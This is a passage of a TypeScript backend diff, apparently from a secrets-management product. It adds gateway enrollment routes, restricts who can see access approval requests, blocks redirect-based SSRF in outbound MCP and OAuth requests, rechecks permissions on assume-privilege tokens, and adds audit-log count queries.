+import { EventType, UserAgentType } from "@app/ee/services/audit-log/audit-log-types";
+import { writeLimit } from "@app/server/config/rateLimiter";
+import { slugSchema } from "@app/server/lib/schemas";
+import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
+import { ActorType, AuthMode } from "@app/services/auth/auth-type";
+
+const enrollRateLimit = { windowMs: 60 * 1000, max: 10 };
+
+const SanitizedGatewayV2Schema = GatewaysV2Schema.pick({
+  id: true,
+  identityId: true,
+  name: true,
+  createdAt: true,
+  updatedAt: true,
+  heartbeat: true,
+  lastHealthCheckStatus: true
+});
+
+export const registerGatewayV3Router = async (server: FastifyZodProvider) => {
+  // Create a gateway
+  server.route({
+    method: "POST",
+    url: "/",
+    config: { rateLimit: writeLimit },
+    schema: {
+      operationId: "createGateway",
+      body: z.object({
+        name: slugSchema({ min: 1, max: 64, field: "name" })
+      }),
+      response: {
+        200: SanitizedGatewayV2Schema
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const gateway = await server.services.gatewayV2.createGateway({
+        orgId: req.permission.orgId,
+        actorId: req.permission.id,
+        actorType: req.permission.type,
+        actorAuthMethod: req.permission.authMethod,
+        name: req.body.name
+      });
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        orgId: req.permission.orgId,
+        event: {
+          type: EventType.GATEWAY_CREATE,
+          metadata: {
+            gatewayId: gateway.id,
+            name: req.body.name
+          }
+        }
+      });
+
+      return gateway;
+    }
+  });
+
+  // Generate enrollment token for a gateway
+  server.route({
+    method: "POST",
+    url: "/:gatewayId/token-auth/configure",
+    config: { rateLimit: writeLimit },
+    schema: {
+      operationId: "configureGatewayTokenAuth",
+      params: z.object({
+        gatewayId: z.string().uuid()
+      }),
+      response: {
+        200: z.object({
+          token: z.string(),
+          expiresAt: z.date()
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const result = await server.services.gatewayV2.configureTokenAuth({
+        orgPermission: req.permission,
+        gatewayId: req.params.gatewayId
+      });
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        orgId: req.permission.orgId,
+        event: {
+          type: EventType.GATEWAY_ENROLLMENT_TOKEN_CREATE,
+          metadata: {
+            tokenId: result.id,
+            name: result.gatewayName
+          }
+        }
+      });
+
+      return { token: result.token, expiresAt: result.expiresAt };
+    }
+  });
+
+  // Enroll a gateway using a token (unauthenticated)
+  server.route({
+    method: "POST",
+    url: "/token-auth/enroll",
+    config: { rateLimit: enrollRateLimit },
+    schema: {
+      operationId: "enrollGatewayWithToken",
+      body: z.object({
+        token: z.string().min(1)
+      }),
+      response: {
+        200: z.object({
+          accessToken: z.string(),
+          gatewayId: z.string()
+        })
+      }
+    },
+    handler: async (req) => {
+      const result = await server.services.gatewayV2.enrollGateway({
+        token: req.body.token
+      });
+
+      await server.services.auditLog
+        .createAuditLog({
+          orgId: result.orgId,
+          actor: {
+            type: ActorType.GATEWAY,
+            metadata: { gatewayId: result.gatewayId }
+          },
+          event: {
+            type: EventType.GATEWAY_ENROLL,
+            metadata: {
+              gatewayId: result.gatewayId,
+              name: result.gatewayName
+            }
+          },
+          ipAddress: req.ip,
+          userAgent: req.headers["user-agent"] ?? "",
+          userAgentType: UserAgentType.CLI
+        })
+        .catch(() => {});
+
+      return result;
+    }
+  });
+
+  // Connect (refresh certs) for an enrolled gateway
+  server.route({
+    method: "POST",
+    url: "/connect",
+    config: { rateLimit: writeLimit },
+    schema: {
+      operationId: "connectGateway",
+      body: z.object({
+        relayName: slugSchema({ min: 1, max: 32, field: "relayName" }).optional()
+      }),
+      response: {
+        200: z.object({
+          gatewayId: z.string(),
+          relayHost: z.string(),
+          pki: z.object({
+            serverCertificate: z.string(),
+            serverPrivateKey: z.string(),
+            clientCertificateChain: z.string()
+          }),
+          ssh: z.object({
+            clientCertificate: z.string(),
+            clientPrivateKey: z.string(),
+            serverCAPublicKey: z.string()
+          })
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.GATEWAY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      return server.services.gatewayV2.connectGateway({
+        orgId: req.permission.orgId,
+        actorId: req.permission.id,
+        actorType: req.permission.type,
+        relayName: req.body.relayName
+      });
+    }
+  });
+};
diff --git a/backend/src/ee/routes/v3/index.ts b/backend/src/ee/routes/v3/index.ts
new file mode 100644
index 00000000000..84514752a00
--- /dev/null
+++ b/backend/src/ee/routes/v3/index.ts
@@ -0,0 +1,5 @@
+import { registerGatewayV3Router } from "./gateway-router";
+
+export const registerV3EERoutes = async (server: FastifyZodProvider) => {
+  await server.register(registerGatewayV3Router, { prefix: "/gateways" });
+};
diff --git a/backend/src/ee/services/access-approval-request/access-approval-request-dal.ts b/backend/src/ee/services/access-approval-request/access-approval-request-dal.ts
index 1fd0bd7b287..996afb62ee7 100644
--- a/backend/src/ee/services/access-approval-request/access-approval-request-dal.ts
+++ b/backend/src/ee/services/access-approval-request/access-approval-request-dal.ts
@@ -260,7 +260,7 @@ export interface TAccessApprovalRequestDALFactory extends Omit<TOrmify<TableName
       bypassers: string[];
     }[]
   >;
-  getCount: ({ projectId }: { projectId: string; policyId?: string }) => Promise<{
+  getCount: ({ projectId }: { projectId: string; policyId?: string; requestedByUserId?: string }) => Promise<{
     pendingCount: number;
     finalizedCount: number;
   }>;
@@ -872,7 +872,7 @@ export const accessApprovalRequestDALFactory = (db: TDbClient): TAccessApprovalR
     }
   };
 
-  const getCount: TAccessApprovalRequestDALFactory["getCount"] = async ({ projectId, policyId }) => {
+  const getCount: TAccessApprovalRequestDALFactory["getCount"] = async ({ projectId, policyId, requestedByUserId }) => {
     try {
       const accessRequests = await db
         .replicaNode()(TableName.AccessApprovalRequest)
@@ -895,7 +895,12 @@ export const accessApprovalRequestDALFactory = (db: TDbClient): TAccessApprovalR
         )
         .where(`${TableName.Environment}.projectId`, projectId)
         .where((qb) => {
-          if (policyId) void qb.where(`${TableName.AccessApprovalPolicy}.id`, policyId);
+          if (policyId) {
+            void qb.where(`${TableName.AccessApprovalPolicy}.id`, policyId);
+          }
+          if (requestedByUserId) {
+            void qb.where(`${TableName.AccessApprovalRequest}.requestedByUserId`, requestedByUserId);
+          }
         })
         .select(selectAllTableCols(TableName.AccessApprovalRequest))
         .select(db.ref("status").withSchema(TableName.AccessApprovalRequestReviewer).as("reviewerStatus"))
diff --git a/backend/src/ee/services/access-approval-request/access-approval-request-service.ts b/backend/src/ee/services/access-approval-request/access-approval-request-service.ts
index 9450737f101..aa81b0be873 100644
--- a/backend/src/ee/services/access-approval-request/access-approval-request-service.ts
+++ b/backend/src/ee/services/access-approval-request/access-approval-request-service.ts
@@ -8,6 +8,8 @@ import { BadRequestError, ForbiddenRequestError, NotFoundError } from "@app/lib/
 import { groupBy } from "@app/lib/fn";
 import { ms } from "@app/lib/ms";
 import { alphaNumericNanoId } from "@app/lib/nanoid";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { EnforcementLevel } from "@app/lib/types";
 import { triggerWorkflowIntegrationNotification } from "@app/lib/workflow-integrations/trigger-notification";
 import { TriggerFeature } from "@app/lib/workflow-integrations/types";
@@ -27,7 +29,11 @@ import { TAccessApprovalPolicyApproverDALFactory } from "../access-approval-poli
 import { TAccessApprovalPolicyDALFactory } from "../access-approval-policy/access-approval-policy-dal";
 import { TGroupDALFactory } from "../group/group-dal";
 import { TPermissionServiceFactory } from "../permission/permission-service-types";
-import { ProjectPermissionMemberActions, ProjectPermissionSub } from "../permission/project-permission";
+import {
+  ProjectPermissionApprovalRequestActions,
+  ProjectPermissionMemberActions,
+  ProjectPermissionSub
+} from "../permission/project-permission";
 import { TAccessApprovalRequestDALFactory } from "./access-approval-request-dal";
 import { verifyRequestedPermissions } from "./access-approval-request-fns";
 import { TAccessApprovalRequestReviewerDALFactory } from "./access-approval-request-reviewer-dal";
@@ -35,7 +41,7 @@ import { ApprovalStatus, TAccessApprovalRequestServiceFactory } from "./access-a
 
 type TSecretApprovalRequestServiceFactoryDep = {
   additionalPrivilegeDAL: Pick<TAdditionalPrivilegeDALFactory, "create" | "findById" | "deleteById">;
-  permissionService: Pick<TPermissionServiceFactory, "getProjectPermission" | "invalidateProjectPermissionCache">;
+  permissionService: Pick<TPermissionServiceFactory, "getProjectPermission">;
   accessApprovalPolicyApproverDAL: Pick<TAccessApprovalPolicyApproverDALFactory, "find">;
   projectEnvDAL: Pick<TProjectEnvDALFactory, "findOne">;
   projectDAL: Pick<
@@ -339,7 +345,9 @@ export const accessApprovalRequestServiceFactory = ({
       throw new ForbiddenRequestError({ message: "You are not authorized to modify this request" });
     }
 
-    const project = await projectDAL.findById(accessApprovalRequest.projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(accessApprovalRequest.projectId), () =>
+      projectDAL.findById(accessApprovalRequest.projectId)
+    );
 
     if (!project) {
       throw new NotFoundError({
@@ -365,6 +373,14 @@ export const accessApprovalRequestServiceFactory = ({
       }
     }
 
+    if (policy.maxTimePeriod) {
+      if (ms(temporaryRange) > ms(policy.maxTimePeriod)) {
+        throw new BadRequestError({
+          message: `Requested access time range is limited to ${policy.maxTimePeriod} by policy`
+        });
+      }
+    }
+
     let envSlug = "unknown";
     let secretPath = "/";
     let accessTypes: string[] = [];
@@ -490,7 +506,7 @@ export const accessApprovalRequestServiceFactory = ({
     const project = await projectDAL.findProjectBySlug(projectSlug, actorOrgId);
     if (!project) throw new NotFoundError({ message: `Project with slug '${projectSlug}' not found` });
 
-    await permissionService.getProjectPermission({
+    const { permission } = await permissionService.getProjectPermission({
       actor,
       actorId,
       projectId: project.id,
@@ -499,9 +515,18 @@ export const accessApprovalRequestServiceFactory = ({
       actionProjectType: ActionProjectType.SecretManager
     });
 
+    const canReadAllApprovalRequests = permission.can(
+      ProjectPermissionApprovalRequestActions.Read,
+      ProjectPermissionSub.ApprovalRequests
+    );
+
     const policies = await accessApprovalPolicyDAL.find({ projectId: project.id });
     let requests = await accessApprovalRequestDAL.findRequestsWithPrivilegeByPolicyIds(policies.map((p) => p.id));
 
+    if (!canReadAllApprovalRequests) {
+      requests = requests.filter((request) => request.requestedByUserId === actorId);
+    }
+
     if (authorUserId) {
       requests = requests.filter((request) => request.requestedByUserId === authorUserId);
     }
@@ -610,7 +635,9 @@ export const accessApprovalRequestServiceFactory = ({
       throw new ForbiddenRequestError({ message: "You are not authorized to approve this request" });
     }
 
-    const project = await projectDAL.findById(accessApprovalRequest.projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(accessApprovalRequest.projectId), () =>
+      projectDAL.findById(accessApprovalRequest.projectId)
+    );
     if (!project) {
       throw new NotFoundError({ message: "The project associated with this access request was not found." });
     }
@@ -765,8 +792,6 @@ export const accessApprovalRequestServiceFactory = ({
             },
             tx
           );
-
-          await permissionService.invalidateProjectPermissionCache(accessApprovalRequest.projectId, tx);
         }
       }
 
@@ -886,8 +911,6 @@ export const accessApprovalRequestServiceFactory = ({
         await additionalPrivilegeDAL.deleteById(accessApprovalRequest.privilegeId, tx);
       }
 
-      await permissionService.invalidateProjectPermissionCache(accessApprovalRequest.projectId, tx);
-
       return result;
     });
 
@@ -905,7 +928,7 @@ export const accessApprovalRequestServiceFactory = ({
     const project = await projectDAL.findProjectBySlug(projectSlug, actorOrgId);
     if (!project) throw new NotFoundError({ message: `Project with slug '${projectSlug}' not found` });
 
-    await permissionService.getProjectPermission({
+    const { permission } = await permissionService.getProjectPermission({
       actor,
       actorId,
       projectId: project.id,
@@ -914,7 +937,16 @@ export const accessApprovalRequestServiceFactory = ({
       actionProjectType: ActionProjectType.SecretManager
     });
 
-    const count = await accessApprovalRequestDAL.getCount({ projectId: project.id, policyId });
+    const canReadAllApprovalRequests = permission.can(
+      ProjectPermissionApprovalRequestActions.Read,
+      ProjectPermissionSub.ApprovalRequests
+    );
+
+    const count = await accessApprovalRequestDAL.getCount({
+      projectId: project.id,
+      policyId,
+      requestedByUserId: canReadAllApprovalRequests ? undefined : actorId
+    });
 
     return { count };
   };
diff --git a/backend/src/ee/services/ai-mcp-endpoint/ai-mcp-endpoint-service.ts b/backend/src/ee/services/ai-mcp-endpoint/ai-mcp-endpoint-service.ts
index 3b3f331c526..d38e8294853 100644
--- a/backend/src/ee/services/ai-mcp-endpoint/ai-mcp-endpoint-service.ts
+++ b/backend/src/ee/services/ai-mcp-endpoint/ai-mcp-endpoint-service.ts
@@ -9,7 +9,7 @@ import { CallToolRequestSchema, ListToolsRequestSchema } from "@modelcontextprot
 import { z } from "zod";
 
 import { ActionProjectType, TAiMcpEndpoints } from "@app/db/schemas";
-import { KeyStorePrefixes, TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
 import { getConfig } from "@app/lib/config/env";
 import { crypto as cryptoModule } from "@app/lib/crypto";
 import { DatabaseErrorCode } from "@app/lib/error-codes";
@@ -28,6 +28,7 @@ import { TUserDALFactory } from "@app/services/user/user-dal";
 import { TAiMcpActivityLogServiceFactory } from "../ai-mcp-activity-log/ai-mcp-activity-log-service";
 import { TAiMcpServerDALFactory } from "../ai-mcp-server/ai-mcp-server-dal";
 import { AiMcpServerCredentialMode } from "../ai-mcp-server/ai-mcp-server-enum";
+import { ssrfSafeMcpFetch } from "../ai-mcp-server/ai-mcp-server-fns";
 import { TAiMcpServerServiceFactory } from "../ai-mcp-server/ai-mcp-server-service";
 import { TAiMcpServerToolDALFactory } from "../ai-mcp-server/ai-mcp-server-tool-dal";
 import { TAiMcpServerUserCredentialDALFactory } from "../ai-mcp-server/ai-mcp-server-user-credential-dal";
@@ -112,8 +113,6 @@ const OauthChallengeCodeSchema = z.object({
   })
 });
 
-const OAUTH_FLOW_EXPIRY_IN_SECS = 5 * 60;
-
 // PKCE challenge computation
 const computePkceChallenge = (codeVerifier: string) => {
   const sha256 = crypto.createHash("sha256").update(codeVerifier).digest();
@@ -322,6 +321,7 @@ export const aiMcpEndpointServiceFactory = ({
           });
 
           const clientTransport = new StreamableHTTPClientTransport(new URL(serverUrl), {
+            fetch: ssrfSafeMcpFetch,
             requestInit: { headers }
           });
 
@@ -1017,7 +1017,7 @@ export const aiMcpEndpointServiceFactory = ({
 
     await keyStore.setItemWithExpiry(
       KeyStorePrefixes.AiMcpEndpointOAuthClient(clientId),
-      OAUTH_FLOW_EXPIRY_IN_SECS,
+      KeyStoreTtls.AiMcpEndpointOAuthFlowInSeconds,
       JSON.stringify(payload)
     );
 
@@ -1033,7 +1033,7 @@ export const aiMcpEndpointServiceFactory = ({
     // Update with state
     await keyStore.setItemWithExpiry(
       KeyStorePrefixes.AiMcpEndpointOAuthClient(clientId),
-      OAUTH_FLOW_EXPIRY_IN_SECS,
+      KeyStoreTtls.AiMcpEndpointOAuthFlowInSeconds,
       JSON.stringify({ ...JSON.parse(oauthClientCache), state })
     );
   };
@@ -1083,7 +1083,7 @@ export const aiMcpEndpointServiceFactory = ({
     const code = crypto.randomBytes(32).toString("hex");
     await keyStore.setItemWithExpiry(
       KeyStorePrefixes.AiMcpEndpointOAuthCode(clientId, code),
-      OAUTH_FLOW_EXPIRY_IN_SECS,
+      KeyStoreTtls.AiMcpEndpointOAuthFlowInSeconds,
       JSON.stringify({
         codeChallenge,
         codeChallengeMethod,
@@ -1352,6 +1352,7 @@ export const aiMcpEndpointServiceFactory = ({
         });
 
         const transport = new StreamableHTTPClientTransport(new URL(targetUrl), {
+          fetch: ssrfSafeMcpFetch,
           requestInit: {
             headers: {
               Authorization: `Bearer ${accessToken}`
@@ -1368,11 +1369,12 @@ export const aiMcpEndpointServiceFactory = ({
         const err = error as { code?: string | number; cause?: { code?: string } };
         const errCode = err?.code || err?.cause?.code;
 
-        let message = "An unknown error occurred";
+        // All non-auth failures share one message: separating connection-refused
+        // from other errors would let an attacker probe whether internal ports
+        // are open by cycling redirect targets.
+        let message = "Unable to verify token";
         if (errCode === 401 || errCode === 403) {
           message = "Invalid token";
-        } else if (errCode === "ECONNREFUSED" || errCode === "ENOTFOUND" || errCode === "ETIMEDOUT") {
-          message = "Server unreachable";
         }
 
         return { valid: false, message };
diff --git a/backend/src/ee/services/ai-mcp-server/ai-mcp-server-fns.ts b/backend/src/ee/services/ai-mcp-server/ai-mcp-server-fns.ts
new file mode 100644
index 00000000000..c31dce6e249
--- /dev/null
+++ b/backend/src/ee/services/ai-mcp-server/ai-mcp-server-fns.ts
@@ -0,0 +1,5 @@
+// Refuses to follow HTTP redirects when talking to an MCP server. The server URL
+// is validated against private IPs at registration time; without this, a 302 at
+// request time could redirect the backend fetch to internal network addresses.
+export const ssrfSafeMcpFetch = (url: string | URL, init?: RequestInit): Promise<Response> =>
+  fetch(url, { ...init, redirect: "manual" });
diff --git a/backend/src/ee/services/ai-mcp-server/ai-mcp-server-service.ts b/backend/src/ee/services/ai-mcp-server/ai-mcp-server-service.ts
index 859162d7ee7..9b81452707e 100644
--- a/backend/src/ee/services/ai-mcp-server/ai-mcp-server-service.ts
+++ b/backend/src/ee/services/ai-mcp-server/ai-mcp-server-service.ts
@@ -7,11 +7,11 @@ import { Client } from "@modelcontextprotocol/sdk/client/index.js";
 // eslint-disable-next-line @typescript-eslint/ban-ts-comment
 // @ts-ignore - MCP SDK uses ESM with .js extensions which don't resolve types with moduleResolution: "Node"
 import { StreamableHTTPClientTransport } from "@modelcontextprotocol/sdk/client/streamableHttp.js";
-import axios from "axios";
+import { isAxiosError } from "axios";
 
 import { ActionProjectType, OrganizationActionScope } from "@app/db/schemas";
 import { verifyHostInputValidity } from "@app/ee/services/dynamic-secret/dynamic-secret-fns";
-import { KeyStorePrefixes, TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
 import { getConfig } from "@app/lib/config/env";
 import { request } from "@app/lib/config/request";
 import { BadRequestError, NotFoundError } from "@app/lib/errors";
@@ -30,6 +30,7 @@ import { TPermissionServiceFactory } from "../permission/permission-service-type
 import { ProjectPermissionActions, ProjectPermissionSub } from "../permission/project-permission";
 import { TAiMcpServerDALFactory } from "./ai-mcp-server-dal";
 import { AiMcpServerAuthMethod, AiMcpServerCredentialMode, AiMcpServerStatus } from "./ai-mcp-server-enum";
+import { ssrfSafeMcpFetch } from "./ai-mcp-server-fns";
 import { TAiMcpServerToolDALFactory } from "./ai-mcp-server-tool-dal";
 import {
   TAiMcpServerCredentials,
@@ -64,8 +65,6 @@ type TAiMcpServerServiceFactoryDep = {
 
 export type TAiMcpServerServiceFactory = ReturnType<typeof aiMcpServerServiceFactory>;
 
-const OAUTH_SESSION_TTL_SECONDS = 10 * 60; // 10 minutes
-
 // Buffer time before token expiry to trigger refresh (5 minutes)
 const TOKEN_REFRESH_BUFFER_MS = 5 * 60 * 1000;
 
@@ -86,12 +85,12 @@ const refreshOAuthToken = async (
   try {
     // First try: origin-only format
     const originOnlyUrl = `${serverUrlObj.origin}/.well-known/oauth-authorization-server`;
-    const { data } = await request.get<TOAuthAuthorizationServerMetadata>(originOnlyUrl);
+    const { data } = await ssrfSafeGet<TOAuthAuthorizationServerMetadata>(originOnlyUrl);
     serverMetadata = data;
   } catch {
     // Second try: origin + pathname format
     const pathnameUrl = `${serverUrlObj.origin}/.well-known/oauth-authorization-server${serverUrlObj.pathname !== "/" ? serverUrlObj.pathname : ""}`;
-    const { data } = await request.get<TOAuthAuthorizationServerMetadata>(pathnameUrl);
+    const { data } = await ssrfSafeGet<TOAuthAuthorizationServerMetadata>(pathnameUrl);
     serverMetadata = data;
   }
 
@@ -106,7 +105,7 @@ const refreshOAuthToken = async (
     tokenParams.client_secret = clientSecret;
   }
 
-  const { data: tokenResponse } = await request.post<TOAuthTokenResponse>(
+  const { data: tokenResponse } = await ssrfSafePost<TOAuthTokenResponse>(
     serverMetadata.token_endpoint,
     new URLSearchParams(tokenParams).toString(),
     {
@@ -221,6 +220,7 @@ export const aiMcpServerServiceFactory = ({
         }
 
         const transport = new StreamableHTTPClientTransport(new URL(targetUrl), {
+          fetch: ssrfSafeMcpFetch,
           requestInit: {
             headers: {
               Authorization: `Bearer ${accessToken}`
@@ -441,7 +441,7 @@ export const aiMcpServerServiceFactory = ({
         }
       } catch (err) {
         // Log non-404 errors for debugging, but still fall through
-        if (!axios.isAxiosError(err) || err.response?.status !== 404) {
+        if (!isAxiosError(err) || err.response?.status !== 404) {
           logger.warn(err, "Failed to fetch OAuth authorization server metadata");
         }
       }
@@ -609,7 +609,7 @@ export const aiMcpServerServiceFactory = ({
 
     await keyStore.setItemWithExpiry(
       KeyStorePrefixes.AiMcpServerOAuth(sessionId),
-      OAUTH_SESSION_TTL_SECONDS,
+      KeyStoreTtls.AiMcpServerOAuthSessionInSeconds,
       JSON.stringify(sessionData)
     );
 
@@ -695,7 +695,7 @@ export const aiMcpServerServiceFactory = ({
 
     await keyStore.setItemWithExpiry(
       KeyStorePrefixes.AiMcpServerOAuth(sessionId),
-      OAUTH_SESSION_TTL_SECONDS,
+      KeyStoreTtls.AiMcpServerOAuthSessionInSeconds,
       JSON.stringify(updatedSession)
     );
 
diff --git a/backend/src/ee/services/assume-privilege/assume-privilege-service.ts b/backend/src/ee/services/assume-privilege/assume-privilege-service.ts
index 491db592846..679898ed91c 100644
--- a/backend/src/ee/services/assume-privilege/assume-privilege-service.ts
+++ b/backend/src/ee/services/assume-privilege/assume-privilege-service.ts
@@ -3,9 +3,8 @@ import { ForbiddenError, subject } from "@casl/ability";
 import { ActionProjectType } from "@app/db/schemas";
 import { getConfig } from "@app/lib/config/env";
 import { crypto } from "@app/lib/crypto/cryptography";
-import { ForbiddenRequestError, NotFoundError } from "@app/lib/errors";
+import { ForbiddenRequestError } from "@app/lib/errors";
 import { ActorType } from "@app/services/auth/auth-type";
-import { TProjectDALFactory } from "@app/services/project/project-dal";
 
 import { TPermissionServiceFactory } from "../permission/permission-service-types";
 import {
@@ -16,12 +15,10 @@ import {
 import { TAssumePrivilegeServiceFactory } from "./assume-privilege-types";
 
 type TAssumePrivilegeServiceFactoryDep = {
-  projectDAL: Pick<TProjectDALFactory, "findById">;
   permissionService: Pick<TPermissionServiceFactory, "getProjectPermission">;
 };
 
 export const assumePrivilegeServiceFactory = ({
-  projectDAL,
   permissionService
 }: TAssumePrivilegeServiceFactoryDep): TAssumePrivilegeServiceFactory => {
   const assumeProjectPrivileges: TAssumePrivilegeServiceFactory["assumeProjectPrivileges"] = async ({
@@ -31,8 +28,6 @@ export const assumePrivilegeServiceFactory = ({
     actorPermissionDetails,
     tokenVersionId
   }) => {
-    const project = await projectDAL.findById(projectId);
-    if (!project) throw new NotFoundError({ message: `Project with ID '${projectId}' not found` });
     const { permission } = await permissionService.getProjectPermission({
       actor: actorPermissionDetails.type,
       actorId: actorPermissionDetails.id,
@@ -80,9 +75,11 @@ export const assumePrivilegeServiceFactory = ({
     return { actorType: targetActorType, actorId: targetActorId, projectId, assumePrivilegesToken };
   };
 
-  const verifyAssumePrivilegeToken: TAssumePrivilegeServiceFactory["verifyAssumePrivilegeToken"] = (
+  const verifyAssumePrivilegeToken: TAssumePrivilegeServiceFactory["verifyAssumePrivilegeToken"] = async (
     token,
-    tokenVersionId
+    tokenVersionId,
+    actorAuthMethod,
+    actorOrgId
   ) => {
     const appCfg = getConfig();
     const decodedToken = crypto.jwt().verify(token, appCfg.AUTH_SECRET) as {
@@ -95,6 +92,28 @@ export const assumePrivilegeServiceFactory = ({
     if (decodedToken.tokenVersionId !== tokenVersionId) {
       throw new ForbiddenRequestError({ message: "Invalid token version" });
     }
+
+    const requesterPermission = await permissionService.getProjectPermission({
+      actor: ActorType.USER,
+      actorId: decodedToken.requesterId,
+      projectId: decodedToken.projectId,
+      actorAuthMethod,
+      actorOrgId,
+      actionProjectType: ActionProjectType.Any
+    });
+
+    if (decodedToken.actorType === ActorType.USER) {
+      ForbiddenError.from(requesterPermission.permission).throwUnlessCan(
+        ProjectPermissionMemberActions.AssumePrivileges,
+        ProjectPermissionSub.Member
+      );
+    } else {
+      ForbiddenError.from(requesterPermission.permission).throwUnlessCan(
+        ProjectPermissionIdentityActions.AssumePrivileges,
+        subject(ProjectPermissionSub.Identity, { identityId: decodedToken.actorId })
+      );
+    }
+
     return decodedToken;
   };
 
diff --git a/backend/src/ee/services/assume-privilege/assume-privilege-types.ts b/backend/src/ee/services/assume-privilege/assume-privilege-types.ts
index 999fcce41ac..095ef0f8bd8 100644
--- a/backend/src/ee/services/assume-privilege/assume-privilege-types.ts
+++ b/backend/src/ee/services/assume-privilege/assume-privilege-types.ts
@@ -1,5 +1,5 @@
 import { OrgServiceActor } from "@app/lib/types";
-import { ActorType } from "@app/services/auth/auth-type";
+import { ActorAuthMethod, ActorType } from "@app/services/auth/auth-type";
 
 export type TAssumeProjectPrivilegeDTO = {
   targetActorType: ActorType.USER | ActorType.IDENTITY;
@@ -24,12 +24,14 @@ export interface TAssumePrivilegeServiceFactory {
   }>;
   verifyAssumePrivilegeToken: (
     token: string,
-    tokenVersionId: string
-  ) => {
+    tokenVersionId: string,
+    actorAuthMethod: ActorAuthMethod,
+    actorOrgId: string
+  ) => Promise<{
     tokenVersionId: string;
     projectId: string;
     requesterId: string;
     actorType: ActorType;
     actorId: string;
-  };
+  }>;
 }
diff --git a/backend/src/ee/services/audit-log-stream/custom/custom-provider-factory.ts b/backend/src/ee/services/audit-log-stream/custom/custom-provider-factory.ts
index d9250b29cda..47dc1a24ee3 100644
--- a/backend/src/ee/services/audit-log-stream/custom/custom-provider-factory.ts
+++ b/backend/src/ee/services/audit-log-stream/custom/custom-provider-factory.ts
@@ -29,7 +29,8 @@ export const CustomProviderFactory = () => {
         { ping: "ok" },
         {
           headers: streamHeaders,
-          timeout: AUDIT_LOG_STREAM_TIMEOUT
+          timeout: AUDIT_LOG_STREAM_TIMEOUT,
+          maxRedirects: 0
         }
       )
       .catch((err) => {
diff --git a/backend/src/ee/services/audit-log/audit-log-dal.ts b/backend/src/ee/services/audit-log/audit-log-dal.ts
index 7ad9233d0cf..cf4d8763f9f 100644
--- a/backend/src/ee/services/audit-log/audit-log-dal.ts
+++ b/backend/src/ee/services/audit-log/audit-log-dal.ts
@@ -13,6 +13,14 @@ import { ActorType } from "@app/services/auth/auth-type";
 
 import { ACTOR_TYPE_TO_METADATA_ID_KEY, EventType, filterableSecretEvents } from "./audit-log-types";
 
+type TAggregateQuery = {
+  orgId: string;
+  projectId: string;
+  eventTypes: EventType[];
+  startDate: string;
+  endDate: string;
+};
+
 export interface TAuditLogDALFactory extends Omit<TOrmify<TableName.AuditLog>, "find"> {
   pruneAuditLog: () => Promise<void>;
   getApproximateRowCount: () => Promise<number>;
@@ -27,6 +35,15 @@ export interface TAuditLogDALFactory extends Omit<TOrmify<TableName.AuditLog>, "
     },
     tx?: knex.Knex
   ) => Promise<TAuditLogs[]>;
+  countByDateAndActor: (
+    arg: TAggregateQuery,
+    tx?: knex.Knex
+  ) => Promise<{ date: string; actor: string; actorMetadata: unknown; count: number }[]>;
+  countByIpAddress: (arg: TAggregateQuery, tx?: knex.Knex) => Promise<{ ipAddress: string; count: number }[]>;
+  countByAuthMethod: (
+    arg: TAggregateQuery,
+    tx?: knex.Knex
+  ) => Promise<{ actor: string; actorMetadata: unknown; count: number }[]>;
 }
 
 type TFindQuery = {
@@ -248,5 +265,111 @@ export const auditLogDALFactory = (db: TDbClient) => {
     return auditLogOrm.create(tx);
   };
 
-  return { ...auditLogOrm, create, pruneAuditLog, getApproximateRowCount, find };
+  const countByDateAndActor = async (
+    {
+      orgId,
+      projectId,
+      eventTypes,
+      startDate,
+      endDate
+    }: {
+      orgId: string;
+      projectId: string;
+      eventTypes: EventType[];
+      startDate: string;
+      endDate: string;
+    },
+    tx?: knex.Knex
+  ) => {
+    const rows = await (tx || db.replicaNode())(TableName.AuditLog)
+      .where(`${TableName.AuditLog}.orgId`, orgId)
+      .where(`${TableName.AuditLog}.projectId`, projectId)
+      .whereIn(`${TableName.AuditLog}.eventType`, eventTypes)
+      .whereRaw(`"${TableName.AuditLog}"."createdAt" >= ?::timestamptz`, [startDate])
+      .whereRaw(`"${TableName.AuditLog}"."createdAt" < ?::timestamptz`, [endDate])
+      .select(
+        db.raw(`DATE("${TableName.AuditLog}"."createdAt") as date`),
+        `${TableName.AuditLog}.actor`,
+        `${TableName.AuditLog}.actorMetadata`
+      )
+      .groupByRaw(
+        `DATE("${TableName.AuditLog}"."createdAt"), "${TableName.AuditLog}"."actor", "${TableName.AuditLog}"."actorMetadata"`
+      )
+      .select(db.raw("COUNT(*)::int as count"))
+      .timeout(1000 * 120);
+
+    return rows as { date: string; actor: string; actorMetadata: unknown; count: number }[];
+  };
+
+  const countByIpAddress = async (
+    {
+      orgId,
+      projectId,
+      eventTypes,
+      startDate,
+      endDate
+    }: {
+      orgId: string;
+      projectId: string;
+      eventTypes: EventType[];
+      startDate: string;
+      endDate: string;
+    },
+    tx?: knex.Knex
+  ) => {
+    const rows = await (tx || db.replicaNode())(TableName.AuditLog)
+      .where(`${TableName.AuditLog}.orgId`, orgId)
+      .where(`${TableName.AuditLog}.projectId`, projectId)
+      .whereIn(`${TableName.AuditLog}.eventType`, eventTypes)
+      .whereRaw(`"${TableName.AuditLog}"."createdAt" >= ?::timestamptz`, [startDate])
+      .whereRaw(`"${TableName.AuditLog}"."createdAt" < ?::timestamptz`, [endDate])
+      .whereNotNull(`${TableName.AuditLog}.ipAddress`)
+      .select(`${TableName.AuditLog}.ipAddress`)
